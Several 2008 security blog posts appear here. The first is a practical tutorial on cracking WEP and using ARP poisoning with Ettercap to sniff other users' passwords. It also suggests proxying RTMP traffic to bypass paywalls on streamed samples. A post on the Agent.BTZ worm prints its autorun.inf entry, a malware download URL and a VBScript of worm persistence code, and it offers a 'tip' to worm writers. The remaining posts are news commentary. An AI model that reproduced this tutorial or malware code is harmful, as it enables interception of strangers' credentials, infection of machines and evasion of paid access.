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A small and quick introduction to ARP poisoning

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This article won’t be about something new nor something extraordinary for any experienced computer security or even the average hacker, but since I’ve been ask this question quite often by some of my friends, I decided to explain how to sniff passwords from a network.  Moreover, I’m well aware I haven’t been writing anything for a while, and I want to get back to it once all my personal matters are resolved. I’ll concentrate on WEP wireless networks since they are almost certain to be cracked easily. Although those a deprecated, there are still used in many household as the out-of-the-box default configuration, so it’s still pertinent in my opinion. Then I will explain the ARP (Address Resolution Protocol) poisoning attack, which will be used to intercept packets between the target and the Internet.

Attacking the WEP wireless network

Packets in a WEP network are encryted, so in order to sniff packets off from it, you’ll first need to acquire the WEP key. This can be done easily with a wireless network adapter that supports monitor mode and the aircrack suite. For the adapter, I’m using the Linksys  Compact Wireless-G USB adapter, model no WUSB54GC. Plug your adapter into a USB connector and boot up your machine. Once you have booted up, make sure Backtrack or any other distribution has detected your adapter:

ifconfig rausb0 up

and then put the adapter in “Monitor Mode”

iwconfig rausb0 mode monitor

The goal of a WEP attack is to capture as many initialization vectors (IVs) as possible. IVs are random numbers used with a either 64, 128 and 256-bit key to encrypt a stream cipher. Those are used so that two exact same plain text do not produce the same ciphertext. The problem with WEP is that IVs are very short, and on a busy network, the same vectors get reused quickly. The IV is 24 bit long, therefore there are 16 777 216 possibilities1. Moreover, changing the IV for each packet is optional. The keys are also quite short, therefore opening the possibility of finding the key with some brute force calculation. No matter what is they key length, you will just need more packets.

The WEP protocol then use the randomly generated IV, the WEP key and pass it throught the RC4 cipher to produce a keystream. The keystream is then XORed with the plain text stream to produce the cipher text, as shown in the picture below:

WEP Encryption Schema

WEP Encryption Schema (from Wikipedia)

So basically, if you get many packets with the same Ivs, different ciphertext, you can now try to brute-force the WEP key. And to get those packets, you need traffic on the network. Now if there are already some people connected and surfing the web, you can easily capture packets and replay them to get more IVs, otherwise, you need to generate the traffic yourself.

Once you’ve tell airodump to capture IVs, we will use aireplay to generate more traffic, and therefore capture more IVs quickly. If you look at the airodump screen, you’ll see it capturing packets.

Once you have the key, you can finally start the poisoning process. As you have seen, I have not detailed how to crack a WEP network as it is widely described all over the net. You can find find good video tutorials from InfinityExists here and here. The last 2600 issue also had a good article about it.

The ARP poisoning attack

The concept behind this is simple. ARP is the protocol that maintains network devices tables up-to-date by associating an IP address with a MAC address. The problem with ARP is that it doesn’t really care about who answered, it will gladly update the tables from whoever says so. Most of the time, it won’t even ask. So the idea behind the attack, is to send the client an ARP answer saying “hey, I’m the gateway, send stuff to me” and a second ARP answer to the real gateway saying “hey there, I’m this guy, send me his stuff”. Then you just have to relay the packets between the victim and the gateway.Those schemas are more simply to understand:

Schema of an ARP Poisoning Attack

Schema of an ARP Poisoning Attack

In Linux, the rerouting can be done using the following iptables commands:

iptables -t nat -A PREROUTING -i <interface> -p tcp –dport <port> -j REDIRECT –to-port <redirection port>

iptables -t nat -D PREROUTING -i <interface> -p tcp –dport <port> -j REDIRECT –to-port <redirection port>

I’m showing those commands because you can do a lot with those. Many web applications such as some Flash applications use RTMP (Real-time messaging protocol) to control web applications, which run locally.  Flash server send commands to the application using message. Using those commands, you can filter the packets send or receive from the Flash server. Simply use a sniffer first, then locate which packets you wish to drop, alter or whatever.

For example, some sites gives you samples of live music or videos for 30 seconds, then nag you to pay. Using a sniffer, analyze the traffic and find that RTMP Invoke packet that closes the connection with the server. Code a quick proxy that will let all packets go to the flash application except for the connection closing RTMP packet. Then use the commands above to redirect traffic to your proxy.

00 03 0d 4f c0 6d 00 11  20 a8 32 8b 08 00 45 00 …O.m..  .2…E.
00 b2 7e 52 40 00 78 06  d0 a1 50 4d 74 05 43 c1 ..~R@.x. ..PMt.C.
ab 3e 07 8f d0 d8 9b a6  b0 eb ea 61 49 3d 80 18 .>…… …aI=..
fe 4a 76 52 00 00 01 01  08 0a 00 ef a6 d0 02 43 .JvR…. …….C
f4 32 43 00 00 00 00 00  76 14 02 00 0f 63 6c 6f .2C….. v….clo
73 65 43 6f 6e 6e 65 63  74 69 6f 6e 00 00 00 00 seConnec tion….
00 00 00 00 00 05 02 00  57 32 30 38 20 46 72 65 …….. W208 Fre
65 63 68 61 74 20 61 63  74 69 76 69 74 79 20 74 echat ac tivity t
69 6d 65 6f 75 74 2e 20  49 66 20 79 6f 75 20 77 imeout.  If you w
65 72 65 20 61 20 6d 65  6d 62 65 72 2c 20 74 68 ere a me mber, th
65 20 66 72 65 65 20 63  68 61 74 20 77 6f 75 6c e free c hat woul
64 20 6e 6f 74 20 74 69  6d 65 20 6f 75 74 21 20 d not ti me out!

Example of a RTMP Invoke packet to close a connection.

Of course you could just use Ettercap, which does exactly what have been mentioned above. Start Ettercap with the following:

sudo ettercap -G -W 128:p:25AAAAC18DEADDADA433332B65

This will open the graphical interface (-G), that is if you have installed the GTK interface to Ettercap. -W specify to listen for wireless networks and to use a 128-bit key with key found earlier. I don’t know what the p is really for. You can also use the text mode.

Ettercap

Ettercap

Then select Sniffing > Unified Sniffing > select on which interface you want to sniff. Then start the sniffing: File > Start Sniffing. Now let’s specify which targets you wanna sniff. Go to Hosts > Scan for hosts. That will locate the hosts on the current network. Then popup the hosts list, Hosts > Show Hosts List.

Ettercap - Hosts Found on the Network

Ettercap - Hosts Found on the Network

On the list, add the router to target 2 and the hosts you wanna sniff to target 1. Only one step left: MITM > ARP poisoning.  Select Sniff Remote Connections > OK.

Ettercap ARP Poisoining Options

Ettercap ARP Poisoining Options

Then you wait for users to connect to pages like MySpace or Hotmail etc…and Ettercap will find out the sensitive information for you.

See also:

Wireless Networking, Praphul Chandra, Alan Bensky, Ron Olexa, Daniel Mark Dobkin, David A. Lide, Farid Dowla

RFC 826 – Ethernet Address Resolution Protocol, David C. Plummer, November 1982, http://www.faqs.org/rfcs/rfc826.html

Wired Equivalent Protocol, Wikipedia, http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy

Ettercap, http://ettercap.sourceforge.net/

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U.S Army Infected by Worm

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Wired reports that the U.S Army network is under assault by a variant of the SillyFDC worm called Agent-BTZ [1]. In order to restrain the infection, the U.S. Strategic Command has ban the use of every portable media on its network, this include USB keys, CDs, flash cards, floppies etc… Both the SIPRNet and NIPRNet are affected by this directive.

The SillyFDC worm infects systems through replication, i.e. by copying itself to various locations such as these folders[2]:

  • %System%
  • %Windir%
  • %Temp%
  • %UserProfile%
  • %ProgramFiles%
  • %SystemDrive%
  • %CommonProgramFiles%
  • %CurrentFolder%

Computer Virus Looming

Computer Virus Looming

It will also try to copy itself to any drive connected to the machine by scanning drives A:\ to Z:\, which is why the U.S Army is banning the use of portable media for the time being.  According to F-Secure who first discovered the worm[3], the variant in question will also create these files[4]:

  • %windir%\system32\muxbde40.dll
  • %windir%\system32\winview.ocx
  • %temp%\6D73776D706461742E746C62FA.tmp
  • %windir%\system32\mswmpdat.tlb

It will then install itself into the registry to make sure the worm starts every time the computer is booted. It will also attempt to download a JPG file from http://worldnews.ath.cx/update/img0008/%5BREMOVED%5D.jpg and create an AUTORUN.INF file on each drive on the computer, which contains the following:

[autorun]
open=
shell\open=Explore
shell\open\Command=rundll32.exe .\\[RANDOM].dll,InstallM
shell\open\Default=1

[RANDOM] is a randomly generated filename for the malicious DLL. Each time a new partition or a new drive is plugged in, Agent.BTZ will infect it immediately.

The SillyFDC worm doesn’t have any payload, as it only replicates itself through systems it finds using physical medias only. But its variant, the Agent.BTZ is a known Trojan dropper. A dropper is the kind of Trojan that will look to download and execute other malware. It’s surprising that it found its way into the U.S Army network. So that might be a tip for any worm/Trojan writer: add physical media replication to your malware like in the good ol’ days before e-mail, as it seems sending it by e-mail or click jacking is pretty well filtered in military networks, but peripherals such as USB keys are still often used by personnel. And this will surely open the eyes of the network admins of the U.S Army: scan anything plugged into the network.

Also, Graham Cluley, senior technology consultant at Sophos advises:

“… that users disable the autorun facility of Windows so removable devices such as USB keys and CD ROMs do not automatically launch when they are attached to a PC”

With whom I agree.

Update:

Since so many people asked me about this worm, I looked deeply into Internet and found this code, which seems to be part of the script of the Silly FDC worm (that’s the best I could do for now). This script basically copy files from one directory to another, renames the core of the worm and put it into another directory and add registry keys. I cannot confirm this as I found this on an Indonesian blog, so if anyone can look into this, please let me know. Thank you. Blog : http://morphians.wordpress.com/category/uncategorized/

Dim fs,rg

Set fs = CreateObject(”scripting.filesystemobject”)
Set rg = CreateObject(”wscript.shell”)

On Error Resume Next

rg.RegWrite “HKCR\.vbs\”, “VBSFile”
rg.RegWrite “HKCU\Control Panel\Desktop\SCRNSAVE.EXE”, 						”C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com”
rg.RegWrite “HKCU\Control Panel\Desktop\ScreenSaveTimeOut”, 					“30”
rg.RegWrite “HKCR\MSCFile\Shell\Open\Command\”, 						“C:\WINDOWS\pchealth\Global.exe”
rg.RegWrite “HKCR\regfile\Shell\Open\Command\”, 						“C:\WINDOWS\pchealth\Global.exe”
rg.RegWrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\”, 				“C:\WINDOWS\system32\dllcache\Default.exe”
rg.RegWrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\”, 				“C:\WINDOWS\system32\dllcache\Default.exe”
rg.RegWrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”, 				“C:\WINDOWS\system\KEYBOARD.exe”
rg.RegWrite “HKEY_CLASSES_ROOT\MSCFile\Shell\Open\Command\”, 					“C:\WINDOWS\Fonts\Fonts.exe”
rg.RegWrite “HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\DisplayName”,	”Local Group Policy”
rg.RegWrite “HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\FileSysPath”,	”"
rg.RegWrite “HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\GPO-ID”,		”LocalGPO”
rg.RegWrite “HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\GPOName”,		”Local Group Policy”
rg.RegWrite “HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\SOM-ID”,		”Local”
rg.RegWrite “HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\Parameters”,	”"
rg.RegWrite “HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\Script”,		"C:\WINDOWS\Cursors\Boom.vbs”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\DisplayName”, 	“Local Group Policy”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\FileSysPath”, 	“”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\GPO-ID”, 		“LocalGPO”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\GPOName”, 	“Local Group Policy”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\SOM-ID”, 		“Local”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\Parameters”, 	“”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\Script”, 		“C:\WINDOWS\Cursors\Boom.vbs”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\DisplayName”, 	“Local Group Policy”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\FileSysPath”, 	“”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\GPO-ID”, 		“LocalGPO”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\GPOName”, 		“Local Group Policy”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\SOM-ID”, 		“Local”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\Parameters”, 	“”
rg.RegWrite “HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\Script”, 		“C:\WINDOWS\Cursors\Boom.vbs”

If Not fs.FileExists(”C:\WINDOWS\Fonts\Fonts.exe”) Then
	fs.CopyFile (”C:\WINDOWS\Help\microsoft.hlp”), (”C:\WINDOWS\Fonts\Fonts.exe”)
If Not fs.FileExists(”C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com”) Then
	fs.CopyFile (”C:\WINDOWS\Help\microsoft.hlp”), (”C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com”)
If Not fs.FileExists(”C:\WINDOWS\pchealth\Global.exe”) Then
	fs.CopyFile (”C:\WINDOWS\Help\microsoft.hlp”), (”C:\WINDOWS\pchealth\Global.exe”)
If Not fs.FileExists(”C:\WINDOWS\system\KEYBOARD.exe”) Then
	fs.CopyFile (”C:\WINDOWS\Help\microsoft.hlp”), (”C:\WINDOWS\system\KEYBOARD.exe”)
If Not fs.FileExists(”C:\WINDOWS\system32\dllcache\Default.exe”) Then
	fs.CopyFile (”C:\WINDOWS\Help\microsoft.hlp”), (”C:\WINDOWS\system32\dllcache\Default.exe”)
If Not fs.FileExists(”C:\windows\system32\drivers\drivers.cab.exe”) Then
	fs.CopyFile (”C:\WINDOWS\Help\microsoft.hlp”), (”C:\windows\system32\drivers\drivers.cab.exe “)
If Not fs.FileExists(”C:\windows\media\rndll32.pif “) Then
	fs.CopyFile (”C:\WINDOWS\Help\microsoft.hlp”), (”C:\windows\media\rndll32.pif”)
If Not fs.FileExists(”C:\windows\fonts\tskmgr.exe”) Then
	fs.CopyFile (”C:\WINDOWS\Help\microsoft.hlp”), (”C:\windows\fonts\tskmgr.exe”)

See also:

“US Army bans USB devices to contain worm”, John Leyden, The Register, November 20, 2008, http://www.theregister.co.uk/2008/11/20/us_army_usb_ban/ (accessed on November 20, 2008)


[1] “Under Worm Assault, Military Bans Disks, USB Drives”, Noah Shachtman, Danger Room, Wired, http://blog.wired.com/defense/2008/11/army-bans-usb-d.html (accessed on November 20, 2008)

[2] “W32.SillyFDC”, Symantec, http://securityresponse.symantec.com/security_response/writeup.jsp?docid=2006-071111-0646-99&tabid=1 (accessed on November 20, 2008)

[3] “Troj/Agent-EMB”, Sophos, http://www.sophos.com/security/analyses/viruses-and-spyware/trojagentemb.html (accessed on November 20, 2008)

[4] “F-Secure Malware Information Pages: Worm:W32/Agent.BTZ”, F-Secure Corporation, http://www.f-secure.com/v-descs/worm_w32_agent_btz.shtml (accessed on November 20, 2008)

Written by Jonathan Racicot

November 20, 2008 at 5:39 pm

High-tech Cheating

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One man and a woman, Steve Lee and Rong Yang, were convicted last week to eight months of prison after helping two Chinese men cheat their immigration exams, according to a news report from the Metropolitan Police Service[1].  The duo was monitoring the examination from a vehicle outside the building with laptops, transmitters and other equipment.

“Lee and Yang were clearly involved in a sophisticated operation using some of the best surveillance technology available worth thousands of pounds. When we first arrived at the scene it was very confusing as to what exactly was going on.”

It’s hard to tell what was the “best surveillance technology available worth thousands of pounds” since no detailed equipment list was given, but we might expect this to be largely exaggerated. The report states that Zhuang, the examinee, was given “tiny buttonhole cameras sewn in, a microphone and a small ear piece”. With this equipment, the information was transmitted back to Lee and Yang, who told Zhuang the answers to the questions.

“Best surveillance equipment” found into the car

“Best surveillance equipment” found into the car

I decided to look the equipment needed to conduct such an operation. The following material can be found without looking very hard on the net:

· Wireless Button Camera – £226.37

· Wireless Microphone – £133.13

· Wireless Earpiece – £134

· Laptop – £429

· Wireless Router – £51

Total: £973.5

Unless I’m forgetting something worth more than £1000, this is far from being “thousands of pounds”. And I’m quite sure you can get these items cheaper if you look on eBay.

Anyway, the cheaters were caught after a member of the public reported seeing them sitting Lee and Yang in a silver BMW with wires running from under the hood to the inside the car.

According to Sergeant Dominic Washington who first responded to the call from the public, said:

“However, working with colleagues from across the borough and the Met we believe that we have uncovered an established criminal enterprise that may be in operation in other parts of the country.”

No, I don’t think so… but this might give ideas to the others. And why were there wires under the car?


[1] “Two convicted for immigration test scam”, Metropolitan Police Service, November 14, 2008, http://cms.met.police.uk/news/convictions/two_convicted_for_immigration_test_scam (accessed on November 17, 2008)

Survey Points to Energy Sector at Risk of Cyber Attacks

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A survey of 200 leaders from the critical infrastructure industries revealed that the energy sector is the most likely to be victim of a cyber attack. The survey was completed by IDC was conducted in August and October in Canada, the U.S and Europe[1].

The reasons to explain this phenomenon are the cost, apathy and government bureaucracy according to the survey. Also, industries are adding more and more possible access points to the internal network by connecting new sensors, meters and other equipment to their networks.

“]Percentage of respondents prepared and not prepared by industry sectors

Of course, energy industries networks are valuable targets, and would probably be the first victims in a case of a full-scale cyber attack. And as the events of 2003 shown[3], only a few power plants need to go down in order to create chaos on a wide region.

If costs are the main factor to wait before securing networks, security is not likely to be in the priorities of managers during the economic crisis that’s coming on the horizon. Unfortunately, those who take the risk of not hardening their security now may pay the price later…And according to Rick Nicholson, research vice president for IDC’s Energy Insights:

“Most utility CIOs [chief information officers] believe that their companies will be compliant with relevant standards, but still have a long way to go before being adequately prepared for all cyber attacks.”

Another interesting point, all these news come right after a newly president-elect enters the Whitehouse… see Whitehouse Hacked by Chinese Several Times, Both U.S Presidential Campaigns Hacked.


[1] “Survey: Critical infrastructure risks cyber attack”, Miya Knights, IT PRO, November 10, 2008, http://www.itpro.co.uk/608067/survey-critical-infrastructure-risks-cyber-attack (accessed on November 11, 2008)

[2] “Energy industry at risk of cyberattack, survey says”, Elinor Mills, November 11, 2008, http://news.cnet.com/8301-1009_3-10094382-83.html?part=rss&tag=feed&subj=News-Security (accessed on November 11, 2008)

[3] “Blackouts cause N America chaos”, BBC News, August 15, 2003,  http://news.bbc.co.uk/2/hi/americas/3152451.stm (accessed on November 11, 2008)

Fake Anti-Virus Brings in 158 000$ a Week

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Russian criminals who are selling a fake anti-virus, “Antivirus XP 2008/2009” among others, have made more than 150 000$ in a week, according to the Sydney Morning Herald[1]. If you ever seen those annoying popups warning you that you might be infected with one or more viruses, then you probably came across this scam.

Fake Spyware Detection Alert

Fake Spyware Detection Alert

“For most people they might just be browsing the web and suddenly they don’t know why this thing will pop up in their face, telling them they’ve got 309 infections on their computer, it will change their desktop wallpaper, change their screen saver to fake ‘blue screens of death’,” said Joe Stewart, from SecureWorks said.

The software is sold for 49.95 $US and will “detect” various viruses and Trojans on the computer. Stewart shows that Antivirus XP still has some basic anti-malware functionality, but as he explains, it’s mostly in case the authors are brought to court “they might try to claim the program is not truly fraudulent – after all, it can clean computers of at least a few malicious programs[2]“. Only 17 minor threats can be removed, far from the 102,563 viruses the anti-virus claims to clean. And don’t expect a refund for the software.

The entity behind this fraudware is called Bakasoftware, a Russian company that pays affiliates to sell its anti-virus to users. Affiliates can earn between 58% and 90% of the sale price. Criminals are therefore using everyway to trick users into installing the software, including scaring the user into believing that he is infected, even using botnets to push the program into the users’ computers.

Since it is not hacking people’s computers and only runs the affiliate program, Bakasoftware does not have to worry about being shut down by police“, Stewart said[3].

Affiliate ID

Affiliate Username

Account Balance (USD)

4928 nenastniy $158,568.86
56 krab $105,955.76
2 rstwm $95,021.16
4748 newforis $93,260.64
5016 slyers $85,220.22
3684 ultra $82,174.54
3750 cosma2k $78,824.88
5050 dp322 $75,631.26
3886 iamthevip $61,552.63
4048 dp32 $58,160.20
Table 1.0 – Top earners in the Bakasoftware Affiliate Program[4]
 

Screenshots took from the administrative panel of bakasoftware.com which was hacked by NeoN:

Bakasoftware Registred Domains

Bakasoftware Registred Domains

Bakasoftware All Socks Controls

Bakasoftware All Socks Controls

(Screenshots are from “Rogue Antivirus Dissected – Part 2”, Joe Steward, SecureWorks, October 22, 2008, http://www.secureworks.com/research/threats/rogue-antivirus-part-2/?threat=rogue-antivirus-part-2)

By the time of this writing, http://www.bakasoftware.com/ was not accessible. Another interesting fact, if the Russian language is installed on your computer, there’s a good chance you won’t be considered as a target because of Russian legislation. Apparently the creators have been sued anyway[5].

Many other fraudware are available, always proposing anti-malware software. Their ads are oven seen on torrents, warez and cracks/serials sites. What’s particularly dangerous is that they can come with other legitimate software or by drive-by downloads. Once they are installed in your computer, they get annoying very fast and can trick you into buying fraudware. Popups can appear that you are infected. Other types of fraudware are those “boost your computer” software.

P.S “baka” means “stupid” in Japanese. A totally appropriate title for the operators of this company.
See also:

“Fake software nets hacker $158,000 in a week”, Stewart Meagher, The Inquirer, November 5, 2008, http://www.theinquirer.net/gb/inquirer/news/2008/11/05/fake-antivirus-nets-hacker-150 (accessed on November 5, 2008)

“Antiviral ‘Scareware’ Just One More Intruder”, John Markoff, The New York Times, October 29, 2008, http://www.nytimes.com/2008/10/30/technology/internet/30virus.html (accessed on November 5, 2008)

“Crooks can make $5M a year shilling fake security software”, Gregg Keizer, ComputerWorld, October 31, 2008, http://computerworld.com/action/article.do?command=viewArticleBasic&taxonomyName=security_hardware_and_software&articleId=9118778&taxonomyId=145&intsrc=kc_top (accessed on November 5, 2008)


[1] “Russian scammers cash in on pop-up menace”, Asher Moses, The Sydney Herald, November 4, 2008, p.1, http://www.smh.com.au/news/technology/security/russian-scammers-cash-in-on-popup-menace/2008/11/04/1225560814202.html (accessed on November 5, 2008)

 

[2] “Rogue Antivirus Dissected – Part 1”, Joe Stewart, SecureWorks, October 21, 2008, http://www.secureworks.com/research/threats/rogue-antivirus-part-1/?threat=rogue-antivirus-part-1 (accessed on November 5, 2008)

[3] “Russian scammers cash in on pop-up menace”, Asher Moses, The Sydney Herald, November 4, 2008, p.2, http://www.smh.com.au/news/technology/security/russian-scammers-cash-in-on-popup-menace/2008/11/04/1225560814202.html (accessed on November 5, 2008)

[4] “Rogue Antivirus Dissected – Part 2”, Joe Steward, SecureWorks, October 22, 2008, http://www.secureworks.com/research/threats/rogue-antivirus-part-2/?threat=rogue-antivirus-part-2 (accessed on November 5, 2008)

[5] “Infamous vendor of “AntiVirus XP” badware sued”, Adam O’Donnell, ZDNet, September 30th, 2008, http://blogs.zdnet.com/security/?p=1980 (accessed on November 5, 2008


Written by Jonathan Racicot

November 5, 2008 at 4:28 pm